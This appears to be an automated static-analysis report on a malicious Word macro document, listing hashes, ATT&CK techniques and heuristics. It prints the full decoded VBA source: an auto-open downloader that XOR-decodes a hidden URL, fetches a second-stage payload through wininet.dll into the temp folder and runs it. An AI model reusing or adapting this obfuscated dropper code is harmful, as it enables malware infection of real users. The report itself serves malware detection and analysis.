Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4319a6f2bc4b607…

MALICIOUS

Office (OLE)

74.5 KB Created: 2015-01-19 16:07:00 Authoring application: Microsoft Office Word First seen: 2015-04-05
MD5: 0d0f79e6894beca87b72f54b0463dbdb SHA-1: 21c73b7436b79f0017111743fe33a204c9f7c399 SHA-256: b4319a6f2bc4b60783e83a169b73a3705aabbe6ac70320bb554cd2da4528d243
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Microsoft Word document containing VBA macros. The `autoopen` macro, along with the `CreateObject` heuristic, suggests an attempt to execute code. The VBA script utilizes functions from `wininet.dll` to download and potentially execute a second-stage payload, indicating an Ingress Tool Transfer attack pattern.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set OBJECT099 = CreateObject _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7990 bytes
SHA-256: 7416816b7ea70adcb91fffcd1bf86c4480ea52566c4e30cb7ad9fe5a8264dc61
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
HAZ82771
End Sub

Attribute VB_Name = "xsdasvsd"

#If VBA7 And Win64 Then
Public Declare PtrSafe Function HLUB3U3OP9832222 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As LongPtr) As Long
Public Declare PtrSafe Function HLUB3U3OP983222 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPtr
Public Declare PtrSafe Function KOOOODAAAAA1 Lib "wininet.dll" Alias "InternetReadFile" (ByVal cCCc3333 As LongPtr, ByVal HCDNNNDCNNDC As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare PtrSafe Function HLUB3U3OP9832 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As LongPtr, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As LongPtr
#Else
Public Declare Function HLUB3U3OP9832222 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As Long) As Long
Public Declare Function HLUB3U3OP983222 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Public Declare Function KOOOODAAAAA1 Lib "wininet.dll" Alias "InternetReadFile" (ByVal cCCc3333 As Long, ByVal HCDNNNDCNNDC As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare Function HLUB3U3OP9832 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
#End If



Sub HAZ82771()
SerpomPoPo ("LLLAK")
End Sub

Public Function ISTOP78(AASC21 As String, AASC22 As String) As String
    Dim UUUUS As Long
    Dim UUUUSO As String
    Dim UUUUS0 As Integer
    Dim UUUUS01 As Integer
    For UUUUS = 1 _
    To _
    ( _
    getLeg _
    (AASC22) _
    / 2)
        UUUUS0 = Val("&H" & _
        (Mid$(AASC22, _
        (2 * UUUUS) - 1, 2)))
        UUUUS01 = Asc(Mid$(AASC21, _
        ((UUUUS Mod Len(AASC21)) + 1), 1))
        UUUUSO = UUUUSO + Chr(UUUUS0 Xor UUUUS01)
    Next UUUUS
   ISTOP78 = UUUUSO
End Function

Public Function getLeg(Papapa1 As String) As Integer
getLeg = Len(Papapa1)
End Function


Attribute VB_Name = "HiMiMiIn"
'* 1
Public Const HAZ82776 = "255C5718064326424459455155071F1C1D"

'*2
Public Const HAZ82775 = "2A525D060E5F49021A505457"
'*3
Public Const HAZ82774 = "1E404604504248425D0748535A100C5D1014551C040642015D46510306004658160B13"
'*4
Public Const HAZ82773 = "2557401D1A190E5C531B6A5B5816250A0002515F3B0807025140"
'*5
Public Const HAZ82772 = "sv42tjmg245,24svs"









Attribute VB_Name = "HHAKKK"


Sub _
SerpomPoPo(Trombon As String)
'* -_-)(CAAdvVVDVSRU|IU
Dim _
OBJECT099


Set OBJECT099 = CreateObject _
(ISTOP78 _
(HAZ82772, HAZ82773))
Dim HAZ82768
Const HAZ82768ID = 2
Dim cddssejuuk As Integer
For cddssejuuk = 0 To 0
If cddssejuuk = 5 Then End
Next cddssejuuk
Set HAZ82768 = OBJECT099.GetSpecialFolder _
(HAZ82768ID)
Dim chdhaAAAAAi93 As Integer
For chdhaAAAAAi93 = 0 To 0
If chdhaAAAAAi93 = 5 Then End
Next chdhaAAAAAi93
HAZ82767 = HAZ82768 & ISTOP78 _
(HAZ82772, HAZ82775)
Dim hiaopen847 As Integer
For hiaopen847 = 0 To 0
If hiaopen847 = 5 Then End
Next hiaopen847
Set OBJECT099 = CreateObject _
(ISTOP78 _
(HAZ82772, HAZ82773))
Dim BnBnHsssssgs346 As Integer
For BnBnHsssssgs346 = 0 To 0
If BnBnHsssssgs346 = 5 Then End
Next BnBnHsssssgs346
If OBJECT099.FileExists _
(HAZ82767) Then
OBJECT099. _
DeleteFile HAZ82767
End If
If HLUB3U3OP983(ISTOP78 _
(HAZ82772, HAZ82774), HAZ82767) Then
End If
Set SSSS = Nothing
If OBJECT099. _
FileExists _
(HAZ82767) Then
End If
Set SASASA = CreateObject _
(ISTOP78 _
(HAZ82772, HAZ82776))
SASASA.Open HAZ82767
End Sub


Attribute VB_Name = "SoaO"
Attribute VB_Base = "0{C188AA44-9A52-4A88-BE0A-9F57E1E65FE9}{330D0356-8F29-4E56-96BC-4439FB456421}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "VVDDD"
Option Explicit


Private Const CAS89K01Mmah872 = 8162
Private Const CAS89K01Mmah871 As String = "HnahHnsnak00"
Private Const CAS89K01Mmah999 = 1
Private Const cCCc = &H4000000
Public Function HLUB3U3OP983(ByVal sURL As String, ByVal sFileName As String) As Boolean
    #If VBA7 And Win64 Then
        Dim HCDNNNDCNNDC2 As LongPtr, CAS89K01Mmah873 As LongPtr
    #Else
        Dim HCDNNNDCNNDC2 As Long, CAS89K01Mmah873 As Long
    #End If
    Dim CDSFDFD As Long
    Dim HCDNNNDCNNDC As String * CAS89K01Mmah872, CCEWGREHRHERHER33 As String
    Dim EFEWFWEFWEFWEF As Integer, lddta As Double
    HCDNNNDCNNDC2 = HLUB3U3OP983222(CAS89K01Mmah871, CAS89K01Mmah999, vbNullString, vbNullString, 0)
    If HCDNNNDCNNDC2 = 0 Then
        Exit Function
    End If
    CAS89K01Mmah873 = HLUB3U3OP9832(HCDNNNDCNNDC2, sURL, vbNullString, 0, cCCc, 0)
    If CAS89K01Mmah873 = 0 Then
        lddta = 0
    Else
        KOOOODAAAAA1 CAS89K01Mmah873, HCDNNNDCNNDC, CAS89K01Mmah872, CDSFDFD
        CCEWGREHRHERHER33 = HCDNNNDCNNDC
        Do While CDSFDFD <> 0
            KOOOODAAAAA1 CAS89K01Mmah873, HCDNNNDCNNDC, CAS89K01Mmah872, CDSFDFD
            
            Dim HhhhhHHuuU73772 As Integer
For HhhhhHHuuU73772 = 0 To 0
If HhhhhHHuuU73772 = 5 Then End
Next HhhhhHHuuU73772
            
            CCEWGREHRHERHER33 = CCEWGREHRHERHER33 + Mid(HCDNNNDCNNDC, 1, CDSFDFD)
        Loop
        lddta = Len(CCEWGREHRHERHER33): EFEWFWEFWEFWEF = FreeFile
        Open sFileName _
        For Binary _
        Access Write _
        Lock Write _
        As #EFEWFWEFWEFWEF
        Put #EFEWFWEFWEFWEF, _
        , CCEWGREHRHERHER33
        ':
        
        Dim ssdcdcdsDDDDD As Integer
For ssdcdcdsDDDDD = 0 To 0
If ssdcdcdsDDDDD = 5 Then End
Next ssdcdcdsDDDDD
        Close #EFEWFWEFWEFWEF
    End If
    HLUB3U3OP9832222 CAS89K01Mmah873
    HLUB3U3OP9832222 HCDNNNDCNNDC2
    CCEWGREHRHERHER33 = ""
    If lddta Then
        HLUB3U3OP983 = True
    End If
End Function



Attribute VB_Name = "A1"

Attribute VB_Name = "A2"
Attribute VB_Base = "0{DCC1CFD7-551C-4546-BA3E-CF4DD0F9D97A}{5260732A-F07E-4D07-96DF-9AC1C395B03E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "A3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{65F59680-CD90-4EE7-91A9-C52775E91ED9}{CD8695A8-6606-4E49-97A2-A050E572EEC4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False